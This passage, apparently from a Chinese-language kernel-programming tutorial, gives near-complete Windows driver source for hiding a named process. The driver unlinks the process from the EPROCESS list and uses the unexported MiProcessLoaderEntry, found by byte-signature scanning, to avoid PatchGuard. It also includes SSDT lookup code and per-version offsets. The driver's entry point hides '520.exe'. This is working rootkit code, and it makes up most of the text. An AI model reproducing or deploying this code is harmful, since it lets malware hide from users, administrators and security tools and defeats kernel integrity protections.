NTSTATUS status = STATUS_SUCCESS;
HANDLE hFile = NULL;
HANDLE hSection = NULL;
OBJECT_ATTRIBUTES objectAttributes = { 0 };
IO_STATUS_BLOCK iosb = { 0 };
PVOID pBaseAddress = NULL;
SIZE_T viewSize = 0;
// 打开 DLL 文件, 并获取文件句柄
InitializeObjectAttributes(&objectAttributes, &ustrDllFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
status = ZwOpenFile(&hFile, GENERIC_READ, &objectAttributes, &iosb,
FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
if (!NT_SUCCESS(status))
{
KdPrint(("ZwOpenFile Error! [error code: 0x%X]", status));
return status;
}
// 创建一个节对象, 以 PE 结构中的 SectionALignment 大小对齐映射文件
status = ZwCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, 0, PAGE_READWRITE, 0x1000000, hFile);
if (!NT_SUCCESS(status))
{
ZwClose(hFile);
KdPrint(("ZwCreateSection Error! [error code: 0x%X]", status));
return status;
}
// 映射到内存
status = ZwMapViewOfSection(hSection, NtCurrentProcess(), &pBaseAddress, 0, 1024, 0, &viewSize, ViewShare, MEM_TOP_DOWN, PAGE_READWRITE);
if (!NT_SUCCESS(status))
{
ZwClose(hSection);
ZwClose(hFile);
KdPrint(("ZwMapViewOfSection Error! [error code: 0x%X]", status));
return status;
}

// 返回数据
*phFile = hFile;
*phSection = hSection;
*ppBaseAddress = pBaseAddress;

return status;
}

// 根据导出表获取导出函数地址, 从而获取 SSDT 函数索引号
ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName)
{
ULONG ulFunctionIndex = 0;
// Dos Header
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress;
// NT Header
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PUCHAR)pDosHeader + pDosHeader->e_lfanew);
// Export Table
PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
// 有名称的导出函数个数
ULONG ulNumberOfNames = pExportTable->NumberOfNames;
// 导出函数名称地址表
PULONG lpNameArray = (PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfNames);
PCHAR lpName = NULL;
// 开始遍历导出表
for (ULONG i = 0; i < ulNumberOfNames; i++)
{
lpName = (PCHAR)((PUCHAR)pDosHeader + lpNameArray[i]);
// 判断是否查找的函数
if (0 == _strnicmp(pszFunctionName, lpName, strlen(pszFunctionName)))
{
// 获取导出函数地址
USHORT uHint = *(USHORT *)((PUCHAR)pDosHeader + pExportTable->AddressOfNameOrdinals + 2 * i);
ULONG ulFuncAddr = *(PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfFunctions + 4 * uHint);
PVOID lpFuncAddr = (PVOID)((PUCHAR)pDosHeader + ulFuncAddr);
// 获取 SSDT 函数 Index
#ifdef _WIN64
ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 4);
#else
ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 1);
#endif
break;
}
}

return ulFunctionIndex;
}

进程隐藏过PatchGuard

基本原理

进程EPROCESS结构体存储着进程的一切信息,其中ActiveProcessLinks成员的数据类型是LIST_ENTRY,Flink指向下一个进程EPROCESS的ActiveProcessLinks成员地址,Blink指向上一个进程EPROCESS的ActiveProcessLinks成员地址。

可用PsGetCurrentProcess获取当前进程EPROCESS,用PsGetProcessId从EPROCESS进程结构中获取进程PID信息,用PsGetProcessImageFileName从EPROCESS中获取进程名称信息。

隐藏进程就是摘链,ZwQuerySystemInformation查询进程就是遍历链表。让上一个EPROCESS的ActiveProcessLinks的Flink指向下一个进程结构EPROCESS的ActivateProcessLinks成员地址,下一个进程结构EPROCESS成员ActivateProcessLinks的Blink指向上一个EPROCESS结构的ActivateProcessLinks成员地址。这样通过摘链实现指定进程的隐藏,且不影响进程的正常运行。

摘链对EPROCESS进程结构修改时触发PatchGuard机制,不能用普通的RemoveEntryList实现,要用未导出函数MiProcessLoaderEntry实现绕过。

ActivateProcessLinks在EPROCESS中偏移位置不同,这是各系统偏移值:

Windows 7 Windows 8.1 Windows 10
x86 B8 B8 B8
x64 188 2E8 2F0

编码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// 隐藏指定进程(Bypass Patch Guard)
BOOLEAN HideProcess_Bypass_PatchGuard(PUCHAR pszHideProcessName) {
PEPROCESS pFirstEProcess = NULL, pEProcess = NULL;
ULONG ulOffset = 0;
HANDLE hProcessId = NULL;
PUCHAR pszProcessName = NULL;
typedef_MiProcessLoaderEntry pMiProcessLoaderEntry = NULL;
// 获取 MiProcessLoaderEntry 函数地址
pMiProcessLoaderEntry = (typedef_MiProcessLoaderEntry)GetFuncAddr_MiProcessLoaderEntry();
if (NULL == pMiProcessLoaderEntry)
return FALSE;
DbgPrint("pMiProcessLoaderEntry[0x%p]\n", pMiProcessLoaderEntry);
// 根据不同系统, 获取相应偏移大小
ulOffset = GetActiveProcessLinksOffset();
if (0 == ulOffset) {
DbgPrint("GetActiveProcessLinksOffset Error!\n");
return FALSE;
};
// 获取当前进程结构对象
pFirstEProcess = PsGetCurrentProcess();
pEProcess = pFirstEProcess;
// 开始遍历枚举进程
do {
// 从 EPROCESS 获取进程 PID
hProcessId = PsGetProcessId(pEProcess);
// 从 EPROCESS 获取进程名称
pszProcessName = PsGetProcessImageFileName(pEProcess);
// 隐藏指定进程
if (0 == _stricmp(pszProcessName, pszHideProcessName)) {
// 摘链(Bypass Patch Guard)
pMiProcessLoaderEntry((PVOID)((PUCHAR)pEProcess + ulOffset), FALSE);
// 显示
DbgPrint("[Hide Process][%d][%s]\n", hProcessId, pszProcessName);
break;
};
// 根据偏移计算下一个进程的 EPROCESS
pEProcess = (PEPROCESS)((PUCHAR)(((PLIST_ENTRY)((PUCHAR)pEProcess + ulOffset))->Flink) - ulOffset);
} while (pFirstEProcess != pEProcess);
return TRUE;
};

源代码

Driver.h:

1
2
3
4
5
6
7
8
9
10
11
12
#ifndef _DRIVER_H_
#define _DRIVER_H_


#include <ntddk.h>


VOID DriverUnload(PDRIVER_OBJECT pDriverObject);
NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp);


#endif

EnumProcess.h:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#ifndef _ENUM_PROCESS_H_
#define _ENUM_PROCESS_H_


#include <ntddk.h>


// 声明未导出函数
PUCHAR PsGetProcessImageFileName(PEPROCESS pEprocess);


// 遍历进程
BOOLEAN EnumProcess();

// 隐藏指定进程
BOOLEAN HideProcess(PUCHAR pszHideProcessName);

// 隐藏指定进程(Bypass Patch Guard)
BOOLEAN HideProcess_Bypass_PatchGuard(PUCHAR pszHideProcessName);

// 根据不同系统, 获取相应偏移大小
ULONG GetActiveProcessLinksOffset();




#endif

GetMiProcessLoaderEntry.h:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#ifndef _GET_MIPROCESSLOADERENTRY_H_
#define _GET_MIPROCESSLOADERENTRY_H_


#include <ntddk.h>


#ifndef _WIN64
// 32
typedef NTSTATUS(__stdcall *typedef_MiProcessLoaderEntry)(PVOID, BOOLEAN);
#else
// 64
typedef NTSTATUS(__fastcall *typedef_MiProcessLoaderEntry)(PVOID, BOOLEAN);
#endif


// 从 MmLoadSystemImage 中获取对应的 MiProcessLoaderEntry 特征码
// 其中, 32和64位的 Win7, Win8.1 直接从 MmLoadSystemImage 中搜索 MiProcessLoaderEntry
// 32和64位的 Win10 需要从 MmLoadSystemImage 中搜索 MiConstructLoaderEntry, 再从 MiConstructLoaderEntry 中搜索 MiProcessLoaderEntry
PVOID GetFuncAddr_MiProcessLoaderEntry();

// 从 NtSetSystemInformation 中获取 MmLoadSystemImage 函数地址
PVOID GetFuncAddr_MmLoadSystemImage();

// 搜索特征码
PVOID SearchSpecialCode(PVOID pSearchBeginAddr, ULONG ulSearchLength, PUCHAR pSpecialCode, ULONG ulSpecialCodeLength);


#endif

SSDTFunction.h:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#ifndef _SSDT_FUNCTION_H_
#define _SSDT_FUNCTION_H_


#include <ntddk.h>
#include <ntimage.h>


#ifndef _WIN64
// 32 Bits
#pragma pack(1)
typedef struct _SERVICE_DESCIPTOR_TABLE
{
PULONG ServiceTableBase; // SSDT基址
PULONG ServiceCounterTableBase; // SSDT中服务被调用次数计数器
ULONG NumberOfService; // SSDT服务个数
PUCHAR ParamTableBase; // 系统服务参数表基址
}SSDTEntry, *PSSDTEntry;
#pragma pack()
// 直接获取 SSDT
extern SSDTEntry __declspec(dllimport) KeServiceDescriptorTable;

#else
// 64 Bits
#pragma pack(1)
typedef struct _SERVICE_DESCIPTOR_TABLE
{
PULONG ServiceTableBase; // SSDT基址
PVOID ServiceCounterTableBase; // SSDT中服务被调用次数计数器
ULONGLONG NumberOfService; // SSDT服务个数
PVOID ParamTableBase; // 系统服务参数表基址
}SSDTEntry, *PSSDTEntry;
#pragma pack()

#endif


// 获取 SSDT 函数地址
PVOID GetSSDTFunction(PCHAR pszFunctionName);

// 32位, 直接获取导出地址; 64位, 根据特征码, 从 KiSystemCall64 中获取 SSDT 地址
PVOID GetSSDTAddress();

// 从 ntdll.dll 中获取 SSDT 函数索引号
ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName);
// 内存映射文件
NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress);
// 根据导出表获取导出函数地址, 从而获取 SSDT 函数索引号
ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName);


#endif

Driver.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include "Driver.h"
#include "EnumProcess.h"


NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegPath)
{
DbgPrint("Enter DriverEntry\n");

NTSTATUS status = STATUS_SUCCESS;
pDriverObject->DriverUnload = DriverUnload;
for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
pDriverObject->MajorFunction[i] = DriverDefaultHandle;
}

// 遍历进程
// EnumProcess();

// 隐藏指定进程(Bypass Patch Guard)
HideProcess_Bypass_PatchGuard("520.exe");

DbgPrint("Leave DriverEntry\n");
return status;
}



VOID DriverUnload(PDRIVER_OBJECT pDriverObject)
{
}


NTSTATUS DriverDefaultHandle(PDEVICE_OBJECT pDevObj, PIRP pIrp)
{
NTSTATUS status = STATUS_SUCCESS;
pIrp->IoStatus.Status = status;
pIrp->IoStatus.Information = 0;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);

return status;
}

EnumProcess.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
#include "EnumProcess.h"
#include "GetMiProcessLoaderEntry.h"


// 遍历进程
BOOLEAN EnumProcess()
{
PEPROCESS pFirstEProcess = NULL, pEProcess = NULL;
ULONG ulOffset = 0;
HANDLE hProcessId = NULL;
PUCHAR pszProcessName = NULL;

// 根据不同系统, 获取相应偏移大小
ulOffset = GetActiveProcessLinksOffset();
if (0 == ulOffset)
{
DbgPrint("GetActiveProcessLinksOffset Error!\n");
return FALSE;
}

// 获取当前进程结构对象
pFirstEProcess = PsGetCurrentProcess();
pEProcess = pFirstEProcess;

// 开始遍历枚举进程
do
{
// 从 EPROCESS 获取进程 PID
hProcessId = PsGetProcessId(pEProcess);
// 从 EPROCESS 获取进程名称
pszProcessName = PsGetProcessImageFileName(pEProcess);
// 显示
DbgPrint("[%d]%s\n", hProcessId, pszProcessName);

// 根据偏移计算下一个进程的 EPROCESS
pEProcess = (PEPROCESS)((PUCHAR)(((PLIST_ENTRY)((PUCHAR)pEProcess + ulOffset))->Flink) - ulOffset);

} while (pFirstEProcess != pEProcess);

return TRUE;
}


// 隐藏指定进程(Bypass Patch Guard)
BOOLEAN HideProcess_Bypass_PatchGuard(PUCHAR pszHideProcessName)
{
PEPROCESS pFirstEProcess = NULL, pEProcess = NULL;
ULONG ulOffset = 0;
HANDLE hProcessId = NULL;
PUCHAR pszProcessName = NULL;
typedef_MiProcessLoaderEntry pMiProcessLoaderEntry = NULL;

// 获取 MiProcessLoaderEntry 函数地址
pMiProcessLoaderEntry = (typedef_MiProcessLoaderEntry)GetFuncAddr_MiProcessLoaderEntry();
if (NULL == pMiProcessLoaderEntry)
{
return FALSE;
}
DbgPrint("pMiProcessLoaderEntry[0x%p]\n", pMiProcessLoaderEntry);

// 根据不同系统, 获取相应偏移大小
ulOffset = GetActiveProcessLinksOffset();
if (0 == ulOffset)
{
DbgPrint("GetActiveProcessLinksOffset Error!\n");
return FALSE;
}

// 获取当前进程结构对象
pFirstEProcess = PsGetCurrentProcess();
pEProcess = pFirstEProcess;

// 开始遍历枚举进程
do
{
// 从 EPROCESS 获取进程 PID
hProcessId = PsGetProcessId(pEProcess);
// 从 EPROCESS 获取进程名称
pszProcessName = PsGetProcessImageFileName(pEProcess);

// 隐藏指定进程
if (0 == _stricmp(pszProcessName, pszHideProcessName))
{
// 摘链(Bypass Patch Guard)
pMiProcessLoaderEntry((PVOID)((PUCHAR)pEProcess + ulOffset), FALSE);
// 显示
DbgPrint("[Hide Process][%d][%s]\n", hProcessId, pszProcessName);
break;
}

// 根据偏移计算下一个进程的 EPROCESS
pEProcess = (PEPROCESS)((PUCHAR)(((PLIST_ENTRY)((PUCHAR)pEProcess + ulOffset))->Flink) - ulOffset);

} while (pFirstEProcess != pEProcess);

return TRUE;
}



// 根据不同系统, 获取相应偏移大小
ULONG GetActiveProcessLinksOffset()
{
ULONG ulOffset = 0;
RTL_OSVERSIONINFOW osInfo = {0};
NTSTATUS status = STATUS_SUCCESS;
// 获取系统版本信息
status = RtlGetVersion(&osInfo);
if (!NT_SUCCESS(status))
{
DbgPrint("RtlGetVersion Error[0x%X]\n", status);
return ulOffset;
}
// 判断系统版本
switch (osInfo.dwMajorVersion)
{
case 6:
{
switch (osInfo.dwMinorVersion)
{
case 1:
{
// Win7
#ifdef _WIN64
// 64 Bits
ulOffset = 0x188;
#else
// 32 Bits
ulOffset = 0x0B8;
#endif
break;
}
case 2:
{
// Win8
#ifdef _WIN64
// 64 Bits
#else
// 32 Bits
#endif
break;
}
case 3:
{
// Win8.1
#ifdef _WIN64
// 64 Bits
ulOffset = 0x2E8;
#else
// 32 Bits
ulOffset = 0x0B8;
#endif
break;
}
default:
break;
}
break;
}
case 10:
{
// Win10
#ifdef _WIN64
// 64 Bits
ulOffset = 0x2F0;
#else
// 32 Bits
ulOffset = 0x0B8;
#endif
break;
}
default:
break;
}

return ulOffset;
}

GetMiProcessLoaderEntry.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
#include "GetMiProcessLoaderEntry.h"
#include "SSDTFunction.h"


// 从 MmLoadSystemImage 中获取对应的 MiProcessLoaderEntry 特征码
// 其中, 32和64位的 Win7, Win8.1 直接从 MmLoadSystemImage 中搜索 MiProcessLoaderEntry
// 32和64位的 Win10 需要从 MmLoadSystemImage 中搜索 MiConstructLoaderEntry, 再从 MiConstructLoaderEntry 中搜索 MiProcessLoaderEntry
PVOID GetFuncAddr_MiProcessLoaderEntry()
{
NTSTATUS status = STATUS_SUCCESS;
RTL_OSVERSIONINFOW osVersionInfo = { 0 };
PVOID pMmLoadSystemImage = NULL;
PVOID pMiConstructLoaderEntry = NULL;
PVOID pMiProcessLoaderEntry = NULL;
UCHAR pSpecialCode[256] = { 0 };
ULONG ulSpecialCodeLength = 256;
ULONG ulSearchLength = 0x1000;
PVOID pSearchResultAddr = NULL;
LONG lOffset = 0;
RtlZeroMemory(pSpecialCode, ulSpecialCodeLength);

// 从 NtSetSystemInformation 中获取 MmLoadSystemImage 函数地址
pMmLoadSystemImage = GetFuncAddr_MmLoadSystemImage();
if (NULL == pMmLoadSystemImage)
{
return pMiProcessLoaderEntry;
}
DbgPrint("pMmLoadSystemImage[0x%p]\n", pMmLoadSystemImage);

// 获取系统版本信息
RtlGetVersion(&osVersionInfo);
if (6 == osVersionInfo.dwMajorVersion)
{
// Win7
if (1 == osVersionInfo.dwMinorVersion)
{
#ifndef _WIN64
// 32 Bits
pSpecialCode[0] = 0x6a;
pSpecialCode[1] = 0x01;
pSpecialCode[2] = 0x56;
pSpecialCode[3] = 0xe8;
ulSpecialCodeLength = 4;
#else
// 64 Bits
pSpecialCode[0] = 0xba;
pSpecialCode[1] = 0x01;
pSpecialCode[2] = 0x00;
pSpecialCode[3] = 0x00;
pSpecialCode[4] = 0x00;
pSpecialCode[5] = 0x48;
pSpecialCode[6] = 0x8b;
pSpecialCode[7] = 0xcd;
pSpecialCode[8] = 0xe8;
ulSpecialCodeLength = 9;
#endif
}
// Win8
else if (2 == osVersionInfo.dwMinorVersion)
{

}
// Win8.1
else if (3 == osVersionInfo.dwMinorVersion)
{
#ifndef _WIN64
// 32 Bits
pSpecialCode[0] = 0x89;
pSpecialCode[1] = 0x74;
pSpecialCode[2] = 0x24;
pSpecialCode[3] = 0x1c;
pSpecialCode[4] = 0x8b;
pSpecialCode[5] = 0xcf;
pSpecialCode[6] = 0xe8;
ulSpecialCodeLength = 7;
#else
// 64 Bits
pSpecialCode[0] = 0x41;
pSpecialCode[1] = 0x83;
pSpecialCode[2] = 0xcc;
pSpecialCode[3] = 0x04;
pSpecialCode[4] = 0xe8;
ulSpecialCodeLength = 5;
#endif
}
}
// Win10
else if (10 == osVersionInfo.dwMajorVersion)
{
// 先获取 MiConstructLoaderEntry, 再获取 MiProcessLoaderEntry
#ifndef _WIN64
// 32 Bits
pSpecialCode[0] = 0x8d;
pSpecialCode[1] = 0x54;
pSpecialCode[2] = 0x24;
pSpecialCode[3] = 0x4c;
pSpecialCode[4] = 0x50;
pSpecialCode[5] = 0xe8;
ulSpecialCodeLength = 6;
// 搜索特征码
pSearchResultAddr = SearchSpecialCode(pMmLoadSystemImage, ulSearchLength, pSpecialCode, ulSpecialCodeLength);
if (NULL == pSearchResultAddr)
{
return pMiProcessLoaderEntry;
}
// 获取偏移值
lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength);
// 计算地址(跳转地址 = 下一条指令地址 + 跳转偏移)
pMiConstructLoaderEntry = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset);
// 继续搜索
pSpecialCode[0] = 0x8b;
pSpecialCode[1] = 0xcb;
pSpecialCode[2] = 0x42;
pSpecialCode[3] = 0xe8;
ulSpecialCodeLength = 4;
pMmLoadSystemImage = pMiConstructLoaderEntry;
#else
// 64 Bits
pSpecialCode[0] = 0x48;
pSpecialCode[1] = 0x8b;
pSpecialCode[2] = 0xcf;
pSpecialCode[3] = 0x89;
pSpecialCode[4] = 0x44;
pSpecialCode[5] = 0x24;
pSpecialCode[6] = 0x20;
pSpecialCode[7] = 0xe8;
ulSpecialCodeLength = 8;
// 搜索特征码
pSearchResultAddr = SearchSpecialCode(pMmLoadSystemImage, ulSearchLength, pSpecialCode, ulSpecialCodeLength);
if (NULL == pSearchResultAddr)
{
return pMiProcessLoaderEntry;
}
// 获取偏移值
lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength);
// 计算地址(跳转地址 = 下一条指令地址 + 跳转偏移)
pMiConstructLoaderEntry = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset);
// 继续搜索
pSpecialCode[0] = 0xba;
pSpecialCode[1] = 0x01;
pSpecialCode[2] = 0x00;
pSpecialCode[3] = 0x00;
pSpecialCode[4] = 0x00;
pSpecialCode[5] = 0x48;
pSpecialCode[6] = 0x8b;
pSpecialCode[7] = 0xcf;
pSpecialCode[8] = 0xe8;
ulSpecialCodeLength = 9;
pMmLoadSystemImage = pMiConstructLoaderEntry;
#endif
}
// 其它版本
else
{

}

// 搜索特征码
pSearchResultAddr = SearchSpecialCode(pMmLoadSystemImage, ulSearchLength, pSpecialCode, ulSpecialCodeLength);
if (NULL == pSearchResultAddr)
{
return pMiProcessLoaderEntry;
}
// 获取偏移值
lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength);
// 计算地址(跳转地址 = 下一条指令地址 + 跳转偏移)
pMiProcessLoaderEntry = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset);

return pMiProcessLoaderEntry;
}


// 从 NtSetSystemInformation 中获取 MmLoadSystemImage 函数地址
PVOID GetFuncAddr_MmLoadSystemImage()
{
NTSTATUS status = STATUS_SUCCESS;
RTL_OSVERSIONINFOW osVersionInfo = { 0 };
PVOID pNtSetSystemInformation = NULL;
PVOID pMmLoadSystemImage = NULL;
UCHAR pSpecialCode[256] = { 0 };
ULONG ulSpecialCodeLength = 256;
ULONG ulSearchLength = 0x1000;
PVOID pSearchResultAddr = NULL;
LONG lOffset = 0;
RtlZeroMemory(pSpecialCode, ulSpecialCodeLength);

// 从 SSDT 中获取 NtSetSystemInformation 函数地址
pNtSetSystemInformation = GetSSDTFunction("NtSetSystemInformation");
if (NULL == pNtSetSystemInformation)
{
return pMmLoadSystemImage;
}

// 获取系统版本信息
RtlGetVersion(&osVersionInfo);
if (6 == osVersionInfo.dwMajorVersion)
{
// Win7
if (1 == osVersionInfo.dwMinorVersion)
{
#ifndef _WIN64
// 32 Bits
pSpecialCode[0] = 0xd8;
pSpecialCode[1] = 0x50;
pSpecialCode[2] = 0xe8;
ulSpecialCodeLength = 3;
#else
// 64 Bits
pSpecialCode[0] = 0x48;
pSpecialCode[1] = 0x8d;
pSpecialCode[2] = 0x4c;
pSpecialCode[3] = 0x24;
pSpecialCode[4] = 0x38;
pSpecialCode[5] = 0xe8;
ulSpecialCodeLength = 6;
#endif
}
// Win8
else if (2 == osVersionInfo.dwMinorVersion)
{

}
// Win8.1
else if (3 == osVersionInfo.dwMinorVersion)
{
#ifndef _WIN64
// 32 Bits
pSpecialCode[0] = 0x8d;
pSpecialCode[1] = 0x85;
pSpecialCode[2] = 0x10;
pSpecialCode[3] = 0xff;
pSpecialCode[4] = 0xff;
pSpecialCode[5] = 0xff;
pSpecialCode[6] = 0x50;
pSpecialCode[7] = 0xe8;
ulSpecialCodeLength = 8;
#else
// 64 Bits
pSpecialCode[0] = 0x48;
pSpecialCode[1] = 0x8d;
pSpecialCode[2] = 0x8c;
pSpecialCode[3] = 0x24;
pSpecialCode[4] = 0x00;
pSpecialCode[5] = 0x02;
pSpecialCode[6] = 0x00;
pSpecialCode[7] = 0x00;
pSpecialCode[8] = 0xe8;
ulSpecialCodeLength = 9;
#endif
}
}
// Win10
else if (10 == osVersionInfo.dwMajorVersion)
{
#ifndef _WIN64
// 32 Bits
pSpecialCode[0] = 0x8d;
pSpecialCode[1] = 0x85;
pSpecialCode[2] = 0x04;
pSpecialCode[3] = 0xff;
pSpecialCode[4] = 0xff;
pSpecialCode[5] = 0xff;
pSpecialCode[6] = 0x50;
pSpecialCode[7] = 0xe8;
ulSpecialCodeLength = 8;
#else
// 64 Bits
pSpecialCode[0] = 0x48;
pSpecialCode[1] = 0x8d;
pSpecialCode[2] = 0x8c;
pSpecialCode[3] = 0x24;
pSpecialCode[4] = 0x48;
pSpecialCode[5] = 0x02;
pSpecialCode[6] = 0x00;
pSpecialCode[7] = 0x00;
pSpecialCode[8] = 0xe8;
ulSpecialCodeLength = 9;
#endif
}
// 其它版本
else
{

}

// 搜索特征码
pSearchResultAddr = SearchSpecialCode(pNtSetSystemInformation, ulSearchLength, pSpecialCode, ulSpecialCodeLength);
if (NULL == pSearchResultAddr)
{
return pMmLoadSystemImage;
}
// 获取偏移值
lOffset = *(LONG *)((PUCHAR)pSearchResultAddr + ulSpecialCodeLength);
// 计算地址(跳转地址 = 下一条指令地址 + 跳转偏移)
pMmLoadSystemImage = (PVOID)(((PUCHAR)pSearchResultAddr + ulSpecialCodeLength + sizeof(LONG)) + lOffset);

return pMmLoadSystemImage;
}


// 搜索特征码
PVOID SearchSpecialCode(PVOID pSearchBeginAddr, ULONG ulSearchLength, PUCHAR pSpecialCode, ULONG ulSpecialCodeLength)
{
PVOID pDestAddr = NULL;
PUCHAR pBeginAddr = (PUCHAR)pSearchBeginAddr;
PUCHAR pEndAddr = pBeginAddr + ulSearchLength;
PUCHAR i = NULL;
ULONG j = 0;

for (i = pBeginAddr; i <= pEndAddr; i++)
{
// 遍历特征码
for (j = 0; j < ulSpecialCodeLength; j++)
{
// 判断地址是否有效
if (FALSE == MmIsAddressValid((PVOID)(i + j)))
{
break;;
}
// 匹配特征码
if (*(PUCHAR)(i + j) != pSpecialCode[j])
{
break;
}
}
// 匹配成功
if (j >= ulSpecialCodeLength)
{
pDestAddr = (PVOID)i;
break;
}
}

return pDestAddr;
}

SSDTFunction.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#include "SSDTFunction.h"


// 获取 SSDT 函数地址
PVOID GetSSDTFunction(PCHAR pszFunctionName)
{
UNICODE_STRING ustrDllFileName;
ULONG ulSSDTFunctionIndex = 0;
PVOID pFunctionAddress = NULL;
PSSDTEntry pServiceDescriptorTable = NULL;
ULONG ulOffset = 0;

RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll");
// 从 ntdll.dll 中获取 SSDT 函数索引号
ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, pszFunctionName);

//32位, 直接获取导出地址; 64位, 根据特征码, 从 KiSystemCall64 中获取 SSDT 地址
pServiceDescriptorTable = GetSSDTAddress();

// 根据索引号, 从SSDT表中获取对应函数偏移地址并计算出函数地址
#ifndef _WIN64
// 32 Bits
pFunctionAddress = (PVOID)pServiceDescriptorTable->ServiceTableBase[ulSSDTFunctionIndex];
#else
// 64 Bits
ulOffset = pServiceDescriptorTable->ServiceTableBase[ulSSDTFunctionIndex] >> 4;
pFunctionAddress = (PVOID)((PUCHAR)pServiceDescriptorTable->ServiceTableBase + ulOffset);
#endif

// 显示
DbgPrint("[%s][SSDT Addr:0x%p][Index:%d][Address:0x%p]\n", pszFunctionName, pServiceDescriptorTable, ulSSDTFunctionIndex, pFunctionAddress);

return pFunctionAddress;
}


// 32位, 直接获取导出地址; 64位, 根据特征码, 从 KiSystemCall64 中获取 SSDT 地址
PVOID GetSSDTAddress()
{
PVOID pServiceDescriptorTable = NULL;
PVOID pKiSystemCall64 = NULL;
UCHAR ulCode1 = 0;
